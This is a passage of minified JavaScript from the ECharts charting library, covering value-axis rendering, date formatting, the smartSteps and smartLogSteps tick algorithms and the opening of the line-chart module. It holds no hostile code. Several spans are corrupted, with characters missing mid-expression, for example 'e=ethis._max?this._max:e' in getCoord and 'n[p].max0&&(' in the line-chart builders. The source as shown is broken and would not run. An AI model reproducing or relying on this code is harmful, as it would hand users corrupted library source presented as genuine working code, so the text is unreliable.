l,h="bottom"===this.option.position?n.inside?this.grid.getYend()-o-1:this.grid.getYend()+1:n.inside?this.grid.getY()+1:this.grid.getY()-o-1,m=0;i>m;m++)l=this.subPixelOptimize(this.getCoord(t[m]),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:l,yStart:h,xEnd:l,yEnd:h+o,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e));else for(var V,U="left"===this.option.position?n.inside?this.grid.getX()+1:this.grid.getX()-o-1:n.inside?this.grid.getXend()-o-1:this.grid.getXend()+1,m=0;i>m;m++)V=this.subPixelOptimize(this.getCoord(t[m]),s),e={_axisShape:"axisTick",zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:U,yStart:V,xEnd:U+o,yEnd:V,strokeColor:r,lineWidth:s}},this.shapeList.push(new a(e))},_buildAxisLabel:function(){var e,t=this._valueList,i=this._valueList.length,a=this.option.axisLabel.rotate,o=this.option.axisLabel.margin,r=this.option.axisLabel.clickable,s=this.option.axisLabel.textStyle;if(this.isHorizontal()){var l,h;"bottom"===this.option.position?(l=this.grid.getYend()+o,h="top"):(l=this.grid.getY()-o,h="bottom");for(var m=0;i>m;m++)e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:this.getCoord(t[m]),y:l,color:"function"==typeof s.color?s.color(t[m]):s.color,text:this._valueLabel[m],textFont:this.getFont(s),textAlign:s.align||"center",textBaseline:s.baseline||h}},a&&(e.style.textAlign=a>0?"bottom"===this.option.position?"right":"left":"bottom"===this.option.position?"left":"right",e.rotation=[a*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(r,e)))}else{var V,U;"left"===this.option.position?(V=this.grid.getX()-o,U="right"):(V=this.grid.getXend()+o,U="left");for(var m=0;i>m;m++)e={zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1,style:{x:V,y:this.getCoord(t[m]),color:"function"==typeof s.color?s.color(t[m]):s.color,text:this._valueLabel[m],textFont:this.getFont(s),textAlign:s.align||U,textBaseline:s.baseline||(0===m&&""!==this.option.name?"bottom":m===i-1&&""!==this.option.name?"top":"middle")}},a&&(e.rotation=[a*Math.PI/180,e.style.x,e.style.y]),this.shapeList.push(new n(this._axisLabelClickable(r,e)))}},_buildSplitLine:function(){var e,t=this._valueList,i=this._valueList.length,n=this.option.splitLine,o=n.lineStyle.type,r=n.lineStyle.width,s=n.lineStyle.color;s=s instanceof Array?s:[s];var l=s.length;if(this.isHorizontal())for(var h,m=this.grid.getY(),V=this.grid.getYend(),U=0;i>U;U++)h=this.subPixelOptimize(this.getCoord(t[U]),r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:h,yStart:m,xEnd:h,yEnd:V,strokeColor:s[U%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e));else for(var d,p=this.grid.getX(),c=this.grid.getXend(),U=0;i>U;U++)d=this.subPixelOptimize(this.getCoord(t[U]),r),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{xStart:p,yStart:d,xEnd:c,yEnd:d,strokeColor:s[U%l],lineType:o,lineWidth:r}},this.shapeList.push(new a(e))},_buildSplitArea:function(){var e,t=this.option.splitArea.areaStyle.color;if(t instanceof Array){var i=t.length,n=this._valueList,a=this._valueList.length;if(this.isHorizontal())for(var r,s=this.grid.getY(),l=this.grid.getHeight(),h=this.grid.getX(),m=0;a>=m;m++)r=a>m?this.getCoord(n[m]):this.grid.getXend(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:h,y:s,width:r-h,height:l,color:t[m%i]}},this.shapeList.push(new o(e)),h=r;else for(var V,U=this.grid.getX(),d=this.grid.getWidth(),p=this.grid.getYend(),m=0;a>=m;m++)V=a>m?this.getCoord(n[m]):this.grid.getY(),e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:U,y:V,width:d,height:p-V,color:t[m%i]}},this.shapeList.push(new o(e)),p=V}else e={zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this.grid.getX(),y:this.grid.getY(),width:this.grid.getWidth(),height:this.grid.getHeight(),color:t}},this.shapeList.push(new o(e))},_calculateValue:function(){if(isNaN(this.option.min-0)||isNaN(this.option.max-0)){for(var e,t,i={},n=this.component.legend,a=0,o=this.series.length;o>a;a++)!(this.series[a].type!=r.CHART_TYPE_LINE&&this.series[a].type!=r.CHART_TYPE_BAR&&this.series[a].type!=r.CHART_TYPE_SCATTER&&this.series[a].type!=r.CHART_TYPE_K&&this.series[a].type!=r.CHART_TYPE_EVENTRIVER||n&&!n.isSelected(this.series[a].name)||(e=this.series[a].xAxisIndex||0,t=this.series[a].yAxisIndex||0,this.option.xAxisIndex!=e&&this.option.yAxisIndex!=t||!this._calculSum(i,a)));var s;for(var a in i){s=i[a];for(var l=0,h=s.length;h>l;l++)if(!isNaN(s[l])){this._hasData=!0,this._min=s[l],this._max=s[l];break}if(this._hasData)break}for(var a in i){s=i[a];for(var l=0,h=s.length;h>l;l++)isNaN(s[l])||(this._min=Math.min(this._min,s[l]),this._max=Math.max(this._max,s[l]))}var m="log"!==this.option.type?this.option.boundaryGap:[0,0],V=Math.abs(this._max-this._min);this._min=isNaN(this.option.min-0)?this._min-Math.abs(V*m[0]):this.option.min-0,this._max=isNaN(this.option.max-0)?this._max+Math.abs(V*m[1]):this.option.max-0,this._min===this._max&&(0===this._max?this._max=1:this._max>0?this._min=this._max/this.option.splitNumber!=null?this.option.splitNumber:5:this._max=this._max/this.option.splitNumber!=null?this.option.splitNumber:5),"time"===this.option.type?this._reformTimeValue():"log"===this.option.type?this._reformLogValue():this._reformValue(this.option.scale)}else this._hasData=!0,this._min=this.option.min-0,this._max=this.option.max-0,"time"===this.option.type?this._reformTimeValue():"log"===this.option.type?this._reformLogValue():this._customerValue()},_calculSum:function(e,t){var i,n,a=this.series[t].name||"kener";if(this.series[t].stack){var o="__Magic_Key_Positive__"+this.series[t].stack,l="__Magic_Key_Negative__"+this.series[t].stack;e[o]=e[o]||[],e[l]=e[l]||[],e[a]=e[a]||[],n=this.series[t].data;for(var h=0,m=n.length;m>h;h++)i=this.getDataFromOption(n[h]),"-"!==i&&(i-=0,i>=0?null!=e[o][h]?e[o][h]+=i:e[o][h]=i:null!=e[l][h]?e[l][h]+=i:e[l][h]=i,this.option.scale&&e[a].push(i))}else if(e[a]=e[a]||[],this.series[t].type!=r.CHART_TYPE_EVENTRIVER){n=this.series[t].data;for(var h=0,m=n.length;m>h;h++)i=this.getDataFromOption(n[h]),this.series[t].type===r.CHART_TYPE_K?(e[a].push(i[0]),e[a].push(i[1]),e[a].push(i[2]),e[a].push(i[3])):i instanceof Array?(-1!=this.option.xAxisIndex&&e[a].push("time"!=this.option.type?i[0]:s.getNewDate(i[0])),-1!=this.option.yAxisIndex&&e[a].push("time"!=this.option.type?i[1]:s.getNewDate(i[1]))):e[a].push(i)}else{n=this.series[t].data;for(var h=0,m=n.length;m>h;h++)for(var V=n[h].evolution,U=0,d=V.length;d>U;U++)e[a].push(s.getNewDate(V[U].time))}},_reformValue:function(t){var i=e("../util/smartSteps"),n=this.option.splitNumber;!t&&this._min>=0&&this._max>=0&&(this._min=0),!t&&this._min<=0&&this._max<=0&&(this._max=0);var a=i(this._min,this._max,n);n=null!=n?n:a.secs,this._min=a.min,this._max=a.max,this._valueList=a.pnts,this._reformLabelData()},_reformTimeValue:function(){var e=null!=this.option.splitNumber?this.option.splitNumber:5,t=s.getAutoFormatter(this._min,this._max,e),i=t.formatter,n=t.gapValue;this._valueList=[s.getNewDate(this._min)];var a;switch(i){case"week":a=s.nextMonday(this._min);break;case"month":a=s.nextNthOnMonth(this._min,1);break;case"quarter":a=s.nextNthOnQuarterYear(this._min,1);break;case"half-year":a=s.nextNthOnHalfYear(this._min,1);break;case"year":a=s.nextNthOnYear(this._min,1);break;default:72e5>=n?a=(Math.floor(this._min/n)+1)*n:(a=s.getNewDate(this._min- -n),a.setHours(6*Math.round(a.getHours()/6)),a.setMinutes(0),a.setSeconds(0))}for(a-this._min=0&&(("month"==i||"quarter"==i||"half-year"==i||"year"==i)&&t.setDate(1),!(this._max-t=a;a++)this._valueList.push(t.accAdd(this._min,t.accMul(n,a)));this._reformLabelData()},_reformLogValue:function(){var t=this.option,i=e("../util/smartLogSteps")({dataMin:this._min,dataMax:this._max,logPositive:t.logPositive,logLabelBase:t.logLabelBase,splitNumber:t.splitNumber});this._min=i.dataMin,this._max=i.dataMax,this._valueList=i.tickList,this._dataMappingMethods=i.dataMappingMethods,this._reformLabelData(i.labelFormatter)},_reformLabelData:function(e){this._valueLabel=[];var t=this.option.axisLabel.formatter;if(t)for(var i=0,n=this._valueList.length;n>i;i++)"function"==typeof t?this._valueLabel.push(e?t.call(this.myChart,this._valueList[i],e):t.call(this.myChart,this._valueList[i])):"string"==typeof t&&this._valueLabel.push(e?s.format(t,this._valueList[i]):t.replace("{value}",this._valueList[i]));else for(var i=0,n=this._valueList.length;n>i;i++)this._valueLabel.push(e?e(this._valueList[i]):this.numAddCommas(this._valueList[i]))},getExtremum:function(){this._calculateValue();var e=this._dataMappingMethods;return{min:this._min,max:this._max,dataMappingMethods:e?l.merge({},e):null}},refresh:function(e,t){e&&(this.option=this.reformOption(e),this.option.axisLabel.textStyle=l.merge(this.option.axisLabel.textStyle||{},this.ecTheme.textStyle),this.series=t),this.zr&&(this.clear(),this._buildShape())},getCoord:function(e){this._dataMappingMethods&&(e=this._dataMappingMethods.value2Coord(e)),e=ethis._max?this._max:e;var t;return t=this.isHorizontal()?this.grid.getX()+(e-this._min)/(this._max-this._min)*this.grid.getWidth():this.grid.getYend()-(e-this._min)/(this._max-this._min)*this.grid.getHeight()},getCoordSize:function(e){return Math.abs(this.isHorizontal()?e/(this._max-this._min)*this.grid.getWidth():e/(this._max-this._min)*this.grid.getHeight())},getValueFromCoord:function(e){var t;return this.isHorizontal()?(e=ethis.grid.getXend()?this.grid.getXend():e,t=this._min+(e-this.grid.getX())/this.grid.getWidth()*(this._max-this._min)):(e=ethis.grid.getYend()?this.grid.getYend():e,t=this._max-(e-this.grid.getY())/this.grid.getHeight()*(this._max-this._min)),this._dataMappingMethods&&(t=this._dataMappingMethods.coord2Value(t)),t.toFixed(2)-0},isMaindAxis:function(e){for(var t=0,i=this._valueList.length;i>t;t++)if(this._valueList[t]===e)return!0;return!1}},l.inherits(t,i),e("../component").define("valueAxis",t),t}),i("echarts/util/date",[],function(){function e(e,t,i){i=i>1?i:2;for(var n,a,o,r,s=0,l=m.length;l>s;s++)if(n=m[s].value,a=Math.ceil(t/n)*n-Math.floor(e/n)*n,Math.round(a/n)<=1.2*i){o=m[s].formatter,r=m[s].value;break}return null==o&&(o="year",n=317088e5,a=Math.ceil(t/n)*n-Math.floor(e/n)*n,r=Math.round(a/(i-1)/n)*n),{formatter:o,gapValue:r}}function t(e){return 10>e?"0"+e:e}function i(e,i){("week"==e||"month"==e||"quarter"==e||"half-year"==e||"year"==e)&&(e="MM - dd\nyyyy");var n=h(i),a=n.getFullYear(),o=n.getMonth()+1,r=n.getDate(),s=n.getHours(),l=n.getMinutes(),m=n.getSeconds();return e=e.replace("MM",t(o)),e=e.toLowerCase(),e=e.replace("yyyy",a),e=e.replace("yy",a%100),e=e.replace("dd",t(r)),e=e.replace("d",r),e=e.replace("hh",t(s)),e=e.replace("h",s),e=e.replace("mm",t(l)),e=e.replace("m",l),e=e.replace("ss",t(m)),e=e.replace("s",m)}function n(e){return e=h(e),e.setDate(e.getDate()+8-e.getDay()),e}function a(e,t,i){return e=h(e),e.setMonth(Math.ceil((e.getMonth()+1)/i)*i),e.setDate(t),e}function o(e,t){return a(e,t,1)}function r(e,t){return a(e,t,3)}function s(e,t){return a(e,t,6)}function l(e,t){return a(e,t,12)}function h(e){return e instanceof Date?e:new Date("string"==typeof e?e.replace(/-/g,"/"):e)}var m=[{formatter:"hh : mm : ss",value:1e3},{formatter:"hh : mm : ss",value:5e3},{formatter:"hh : mm : ss",value:1e4},{formatter:"hh : mm : ss",value:15e3},{formatter:"hh : mm : ss",value:3e4},{formatter:"hh : mm\nMM - dd",value:6e4},{formatter:"hh : mm\nMM - dd",value:3e5},{formatter:"hh : mm\nMM - dd",value:6e5},{formatter:"hh : mm\nMM - dd",value:9e5},{formatter:"hh : mm\nMM - dd",value:18e5},{formatter:"hh : mm\nMM - dd",value:36e5},{formatter:"hh : mm\nMM - dd",value:72e5},{formatter:"hh : mm\nMM - dd",value:216e5},{formatter:"hh : mm\nMM - dd",value:432e5},{formatter:"MM - dd\nyyyy",value:864e5},{formatter:"week",value:6048e5},{formatter:"month",value:26784e5},{formatter:"quarter",value:8208e6},{formatter:"half-year",value:16416e6},{formatter:"year",value:32832e6}];return{getAutoFormatter:e,getNewDate:h,format:i,nextMonday:n,nextNthPerNmonth:a,nextNthOnMonth:o,nextNthOnQuarterYear:r,nextNthOnHalfYear:s,nextNthOnYear:l}}),i("echarts/util/smartSteps",[],function(){function e(e){return X.log(I(e))/X.LN10}function t(e){return X.pow(10,e)}function i(e){return e===w(e)}function n(e,t,n,a){b=a||{},f=b.steps||L,k=b.secs||W,n=v(+n||0)%99,e=+e||0,t=+t||0,x=_=0,"min"in b&&(e=+b.min||0,x=1),"max"in b&&(t=+b.max||0,_=1),e>t&&(t=[e,e=t][0]);var o=t-e;if(x&&_)return g(e,t,n);if((n||5)>o){if(i(e)&&i(t))return d(e,t,n);if(0===o)return p(e,t,n)}return h(e,t,n)}function a(e,i,n,a){a=a||0;var s=o((i-e)/n,-1),l=o(e,-1,1),h=o(i,-1),m=X.min(s.e,l.e,h.e);0===l.c?m=X.min(s.e,h.e):0===h.c&&(m=X.min(s.e,l.e)),r(s,{c:0,e:m}),r(l,s,1),r(h,s),a+=m,e=l.c,i=h.c;for(var V=(i-e)/n,U=t(a),d=0,p=[],c=n+1;c--;)p[c]=(e+V*c)*U;if(0>a){d=u(U),V=+(V*U).toFixed(d),e=+(e*U).toFixed(d),i=+(i*U).toFixed(d);for(var c=p.length;c--;)p[c]=p[c].toFixed(d),0===+p[c]&&(p[c]="0")}else e*=U,i*=U,V*=U;return k=0,f=0,b=0,{min:e,max:i,secs:n,step:V,fix:d,exp:a,pnts:p}}function o(n,a,o){a=v(a%10)||2,0>a&&(i(n)?a=(""+I(n)).replace(/0+$/,"").length||1:(n=n.toFixed(15).replace(/0+$/,""),a=n.replace(".","").replace(/^[-0]+/,"").length,n=+n));var r=w(e(n))-a+1,s=+(n*t(-r)).toFixed(15)||0;return s=o?w(s):K(s),!s&&(r=0),(""+I(s)).length>a&&(r+=1,s/=10),{c:s,e:r}}function r(e,i,n){var a=i.e-e.e;a&&(e.e+=a,e.c*=t(-a),e.c=n?w(e.c):K(e.c))}function s(e,t,i){e.et[n];)n++;if(!t[n])for(i/=10,e.e+=1,n=0;i>t[n];)n++;return e.c=t[n],e}function h(e,t,n){var s,h=n||+k.slice(-1),p=l((t-e)/h,f),u=o(t-e),g=o(e,-1,1),b=o(t,-1);if(r(u,p),r(g,p,1),r(b,p),n?s=V(g,b,h):h=m(g,b),i(e)&&i(t)&&e*t>=0){if(h>t-e)return d(e,t,h);h=U(e,t,n,g,b,h)}var L=c(e,t,g.c,b.c);return g.c=L[0],b.c=L[1],(x||_)&&y(e,t,g,b),a(g.c,b.c,h,b.e)}function m(e,i){for(var n,a,o,r,s=[],h=k.length;h--;)n=k[h],a=l((i.c-e.c)/n,f),a=a.c*t(a.e),o=w(e.c/a)*a,r=K(i.c/a)*a,s[h]={min:o,max:r,step:a,span:r-o};return s.sort(function(e,t){var i=e.span-t.span;return 0===i&&(i=e.step-t.step),i}),s=s[0],n=s.span/s.step,e.c=s.min,i.c=s.max,3>n?2*n:n}function V(e,i,n){for(var a,o,r=i.c,s=(i.c-e.c)/n-1;r>e.c;)s=l(s+1,f),s=s.c*t(s.e),a=s*n,o=K(i.c/s)*s,r=o-a;var h=e.c-r,m=o-i.c,V=h-m;return V>1.1*s&&(V=v(V/s/2)*s,r+=V,o+=V),e.c=r,i.c=o,s}function U(e,n,a,o,r,s){var l=r.c-o.c,h=l/s*t(r.e);if(!i(h)&&(h=w(h),l=h*s,n-e>l&&(h+=1,l=h*s,!a&&h*(s-1)>=n-e&&(s-=1,l=h*s)),l>=n-e)){var m=l-(n-e);o.c=v(e-m/2),r.c=v(n+m/2),o.e=0,r.e=0}return s}function d(e,t,i){if(i=i||5,x)t=e+i;else if(_)e=t-i;else{var n=i-(t-e),o=v(e-n/2),r=v(t+n/2),s=c(e,t,o,r);e=s[0],t=s[1]}return a(e,t,i)}function p(e,t,i){i=i||5;var n=X.min(I(t/i),i)/2.1;return x?t=e+n:_?e=t-n:(e-=n,t+=n),h(e,t,i)}function c(e,t,i,n){ +return e>=0&&0>i?(n-=i,i=0):0>=t&&n>0&&(i-=n,n=0),[i,n]}function u(e){return e=(+e).toFixed(15).split("."),e.pop().replace(/0+$/,"").length}function y(e,t,i,n){if(x){var a=o(e,4,1);i.e-a.e>6&&(a={c:0,e:i.e}),s(i,a),s(n,a),n.c+=a.c-i.c,i.c=a.c}else if(_){var r=o(t,4);n.e-r.e>6&&(r={c:0,e:n.e}),s(i,r),s(n,r),i.c+=r.c-n.c,n.c=r.c}}function g(e,t,i){var n=i?[i]:k,s=t-e;if(0===s)return t=o(t,3),i=n[0],t.c=v(t.c+i/2),a(t.c-i,t.c,i,t.e);I(t/s)<1e-6&&(t=0),I(e/s)<1e-6&&(e=0);var l,h,m,V=[[5,10],[10,2],[50,10],[100,2]],U=[],d=[],p=o(t-e,3),c=o(e,-1,1),u=o(t,-1);r(c,p,1),r(u,p),s=u.c-c.c,p.c=s;for(var y=n.length;y--;){i=n[y],l=K(s/i),h=l*i-s,m=3*(h+3),m+=2*(i-n[0]+2),i%5===0&&(m-=10);for(var g=V.length;g--;)l%V[g][0]===0&&(m/=V[g][1]);d[y]=[i,l,h,m].join(),U[y]={secs:i,step:l,delta:h,score:m}}return U.sort(function(e,t){return e.score-t.score}),U=U[0],c.c=v(c.c-U.delta/2),u.c=v(u.c+U.delta/2),a(c.c,u.c,U.secs,p.e)}var b,f,k,x,_,L=[10,20,25,50],W=[4,5,6],X=Math,v=X.round,w=X.floor,K=X.ceil,I=X.abs;return n}),i("echarts/util/smartLogSteps",["require","./number"],function(e){function t(e){return i(),u=e||{},n(),a(),[o(),i()][0]}function i(){U=u=g=c=b=f=y=k=d=p=null}function n(){d=u.logLabelBase,null==d?(p="plain",d=10,c=I):(d=+d,1>d&&(d=10),p="exponent",c=L(d)),y=u.splitNumber,null==y&&(y=E);var e=parseFloat(u.dataMin),t=parseFloat(u.dataMax);isFinite(e)||isFinite(t)?isFinite(e)?isFinite(t)?e>t&&(t=[e,e=t][0]):t=e:e=t:e=t=1,U=u.logPositive,null==U&&(U=t>0||0===e),b=U?e:-t,f=U?t:-e,S>b&&(b=S),S>f&&(f=S)}function a(){function e(){y>m&&(y=m);var e=w(l(m/y)),t=v(l(m/e)),i=e*t,n=(i-U)/2,a=w(l(r-n));V(a-r)&&(a-=1),g=-a*c;for(var s=a;o>=s-e;s+=e)k.push(W(d,s))}function t(){for(var e=i(h,0),t=e+2;t>e&&a(e+1)+n(e+1)*Ct&&a(l-1)+n(l-1)*C>o;)l--;g=-(a(e)*I+n(e)*J);for(var m=e;l>=m;m++){var V=a(m),U=n(m);k.push(W(10,V)*W(2,U))}}function i(e,t){return 3*e+t}function n(e){return e-3*a(e)}function a(e){return w(l(e/3))}k=[];var o=l(L(f)/c),r=l(L(b)/c),s=v(o),h=w(r),m=s-h,U=o-r;"exponent"===p?e():F>=m&&y>F?t():e()}function o(){for(var e=[],t=0,i=k.length;i>t;t++)e[t]=(U?1:-1)*k[t];!U&&e.reverse();var n=s(),a=n.value2Coord,o=a(e[0]),l=a(e[e.length-1]);return o===l&&(o-=1,l+=1),{dataMin:o,dataMax:l,tickList:e,logPositive:U,labelFormatter:r(),dataMappingMethods:n}}function r(){if("exponent"===p){var e=d,t=c;return function(i){if(!isFinite(parseFloat(i)))return"";var n="";return 0>i&&(i=-i,n="-"),n+e+m(L(i)/t)}}return function(e){return isFinite(parseFloat(e))?x.addCommas(h(e)):""}}function s(){var e=U,t=g;return{value2Coord:function(i){return null==i||isNaN(i)||!isFinite(i)?i:(i=parseFloat(i),isFinite(i)?e&&S>i?i=S:!e&&i>-S&&(i=-S):i=S,i=X(i),(e?1:-1)*(L(i)+t))},coord2Value:function(i){return null==i||isNaN(i)||!isFinite(i)?i:(i=parseFloat(i),isFinite(i)||(i=S),e?W(K,i-t):-W(K,-i+t))}}}function l(e){return+Number(+e).toFixed(14)}function h(e){return Number(e).toFixed(15).replace(/\.?0*$/,"")}function m(e){e=h(Math.round(e));for(var t=[],i=0,n=e.length;n>i;i++){var a=e.charAt(i);t.push(T[a]||"")}return t.join("")}function V(e){return e>-S&&S>e}var U,d,p,c,u,y,g,b,f,k,x=e("./number"),_=Math,L=_.log,W=_.pow,X=_.abs,v=_.ceil,w=_.floor,K=_.E,I=_.LN10,J=_.LN2,C=J/I,S=1e-9,E=5,F=2,T={0:"⁰",1:"¹",2:"²",3:"³",4:"⁴",5:"⁵",6:"⁶",7:"⁷",8:"⁸",9:"⁹","-":"⁻"};return t}),i("echarts/chart/line",["require","./base","zrender/shape/Polyline","../util/shape/Icon","../util/shape/HalfSmoothPolygon","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,i,a,o){n.call(this,e,t,i,a,o),this.refresh(a)}function i(e,t,i){var n=t.x,a=t.y,r=t.width,s=t.height,l=s/2;t.symbol.match("empty")&&(e.fillStyle="#fff"),t.brushType="both";var h=t.symbol.replace("empty","").toLowerCase();h.match("star")?(l=h.replace("star","")-0||5,a-=1,h="star"):("rectangle"===h||"arrow"===h)&&(n+=(r-s)/2,r=s);var m="";if(h.match("image")&&(m=h.replace(new RegExp("^image:\\/\\/"),""),h="image",n+=Math.round((r-s)/2)-1,r=s+=2),h=o.prototype.iconLibrary[h]){var V=t.x,U=t.y;e.moveTo(V,U+l),e.lineTo(V+5,U+l),e.moveTo(V+t.width-5,U+l),e.lineTo(V+t.width,U+l);var d=this;h(e,{x:n+4,y:a+4,width:r-8,height:s-8,n:l,image:m},function(){d.modSelf(),i()})}else e.moveTo(n,a+l),e.lineTo(n+r,a+l)}var n=e("./base"),a=e("zrender/shape/Polyline"),o=e("../util/shape/Icon"),r=e("../util/shape/HalfSmoothPolygon");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var s=e("../config");s.line={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,xAxisIndex:0,yAxisIndex:0,dataFilter:"nearest",itemStyle:{normal:{label:{show:!1},lineStyle:{width:2,type:"solid",shadowColor:"rgba(0,0,0,0)",shadowBlur:0,shadowOffsetX:0,shadowOffsetY:0}},emphasis:{label:{show:!1}}},symbolSize:2,showAllSymbol:!1};var l=e("../util/ecData"),h=e("zrender/tool/util"),m=e("zrender/tool/color");return t.prototype={type:s.CHART_TYPE_LINE,_buildShape:function(){this.finalPLMap={},this._buildPosition()},_buildHorizontal:function(e,t,i,n){for(var a,o,r,s,l,h,m,V,U,d=this.series,p=i[0][0],c=d[p],u=this.component.xAxis.getAxis(c.xAxisIndex||0),y={},g=0,b=t;b>g&&null!=u.getNameByIndex(g);g++){o=u.getCoordByIndex(g);for(var f=0,k=i.length;k>f;f++){a=this.component.yAxis.getAxis(d[i[f][0]].yAxisIndex||0),l=s=m=h=a.getCoord(0);for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),y[p]=y[p]||[],n[p]=n[p]||{min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY,sum:0,counter:0,average:0},"-"!==U?(U>=0?(s-=x>0?a.getCoordSize(U):l-a.getCoord(U),r=s):0>U&&(h+=x>0?a.getCoordSize(U):a.getCoord(U)-m,r=h),y[p].push([o,r,g,u.getNameByIndex(g),o,l]),n[p].min>U&&(n[p].min=U,n[p].minY=r,n[p].minX=o),n[p].max0&&(this.finalPLMap[p]=this.finalPLMap[p]||[],this.finalPLMap[p].push(y[p]),y[p]=[])}s=this.component.grid.getY();for(var L,f=0,k=i.length;k>f;f++)for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),"-"==U&&this.deepQuery([V,c,this.option],"calculable")&&(L=this.deepQuery([V,c],"symbolSize"),s+=2*L+5,r=s,this.shapeList.push(this._getCalculableItem(p,g,u.getNameByIndex(g),o,r,"horizontal")))}for(var W in y)y[W].length>0&&(this.finalPLMap[W]=this.finalPLMap[W]||[],this.finalPLMap[W].push(y[W]),y[W]=[]);this._calculMarkMapXY(n,i,"y"),this._buildBorkenLine(e,this.finalPLMap,u,"horizontal")},_buildVertical:function(e,t,i,n){for(var a,o,r,s,l,h,m,V,U,d=this.series,p=i[0][0],c=d[p],u=this.component.yAxis.getAxis(c.yAxisIndex||0),y={},g=0,b=t;b>g&&null!=u.getNameByIndex(g);g++){r=u.getCoordByIndex(g);for(var f=0,k=i.length;k>f;f++){a=this.component.xAxis.getAxis(d[i[f][0]].xAxisIndex||0),l=s=m=h=a.getCoord(0);for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),y[p]=y[p]||[],n[p]=n[p]||{min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY,sum:0,counter:0,average:0},"-"!==U?(U>=0?(s+=x>0?a.getCoordSize(U):a.getCoord(U)-l,o=s):0>U&&(h-=x>0?a.getCoordSize(U):m-a.getCoord(U),o=h),y[p].push([o,r,g,u.getNameByIndex(g),l,r]),n[p].min>U&&(n[p].min=U,n[p].minX=o,n[p].minY=r),n[p].max0&&(this.finalPLMap[p]=this.finalPLMap[p]||[],this.finalPLMap[p].push(y[p]),y[p]=[])}s=this.component.grid.getXend();for(var L,f=0,k=i.length;k>f;f++)for(var x=0,_=i[f].length;_>x;x++)p=i[f][x],c=d[p],V=c.data[g],U=this.getDataFromOption(V,"-"),"-"==U&&this.deepQuery([V,c,this.option],"calculable")&&(L=this.deepQuery([V,c],"symbolSize"),s-=2*L+5,o=s,this.shapeList.push(this._getCalculableItem(p,g,u.getNameByIndex(g),o,r,"vertical")))}for(var W in y)y[W].length>0&&(this.finalPLMap[W]=this.finalPLMap[W]||[],this.finalPLMap[W].push(y[W]),y[W]=[]);this._calculMarkMapXY(n,i,"x"),this._buildBorkenLine(e,this.finalPLMap,u,"vertical")},_buildOther:function(e,t,i,n){for(var a,o=this.series,r={},s=0,l=i.length;l>s;s++)for(var h=0,m=i[s].length;m>h;h++){var V=i[s][h],U=o[V];a=this.component.xAxis.getAxis(U.xAxisIndex||0);var d=this.component.yAxis.getAxis(U.yAxisIndex||0),p=d.getCoord(0);r[V]=r[V]||[],n[V]=n[V]||{min0:Number.POSITIVE_INFINITY,min1:Number.POSITIVE_INFINITY,max0:Number.NEGATIVE_INFINITY,max1:Number.NEGATIVE_INFINITY,sum0:0,sum1:0,counter0:0,counter1:0,average0:0,average1:0};for(var c=0,u=U.data.length;u>c;c++){var y=U.data[c],g=this.getDataFromOption(y,"-");if(g instanceof Array){var b=a.getCoord(g[0]),f=d.getCoord(g[1]);r[V].push([b,f,c,g[0],b,p]),n[V].min0>g[0]&&(n[V].min0=g[0],n[V].minY0=f,n[V].minX0=b),n[V].max0g[1]&&(n[V].min1=g[1],n[V].minY1=f,n[V].minX1=b),n[V].max10&&(this.finalPLMap[k]=this.finalPLMap[k]||[],this.finalPLMap[k].push(r[k]),r[k]=[]);this._calculMarkMapXY(n,i,"xy"),this._buildBorkenLine(e,this.finalPLMap,a,"other")},_buildBorkenLine:function(e,t,i,n){for(var o,s="other"==n?"horizontal":n,V=this.series,U=e.length-1;U>=0;U--){var d=e[U],p=V[d],c=t[d];if(p.type===this.type&&null!=c)for(var u=this._getBbox(d,s),y=this._sIndex2ColorMap[d],g=this.query(p,"itemStyle.normal.lineStyle.width"),b=this.query(p,"itemStyle.normal.lineStyle.type"),f=this.query(p,"itemStyle.normal.lineStyle.color"),k=this.getItemStyleColor(this.query(p,"itemStyle.normal.color"),d,-1),x=null!=this.query(p,"itemStyle.normal.areaStyle"),_=this.query(p,"itemStyle.normal.areaStyle.color"),L=0,W=c.length;W>L;L++){var X=c[L],v="other"!=n&&this._isLarge(s,X);if(v)X=this._getLargePointList(s,X,p.dataFilter);else for(var w=0,K=X.length;K>w;w++)o=p.data[X[w][2]],(this.deepQuery([o,p,this.option],"calculable")||this.deepQuery([o,p],"showAllSymbol")||"categoryAxis"===i.type&&i.isMainAxis(X[w][2])&&"none"!=this.deepQuery([o,p],"symbol"))&&this.shapeList.push(this._getSymbol(d,X[w][2],X[w][3],X[w][0],X[w][1],s));var I=new a({zlevel:p.zlevel,z:p.z,style:{miterLimit:g,pointList:X,strokeColor:f||k||y,lineWidth:g,lineType:b,smooth:this._getSmooth(p.smooth),smoothConstraint:u,shadowColor:this.query(p,"itemStyle.normal.lineStyle.shadowColor"),shadowBlur:this.query(p,"itemStyle.normal.lineStyle.shadowBlur"),shadowOffsetX:this.query(p,"itemStyle.normal.lineStyle.shadowOffsetX"),shadowOffsetY:this.query(p,"itemStyle.normal.lineStyle.shadowOffsetY")},hoverable:!1,_main:!0,_seriesIndex:d,_orient:s});if(l.pack(I,V[d],d,0,L,V[d].name),this.shapeList.push(I),x){var J=new 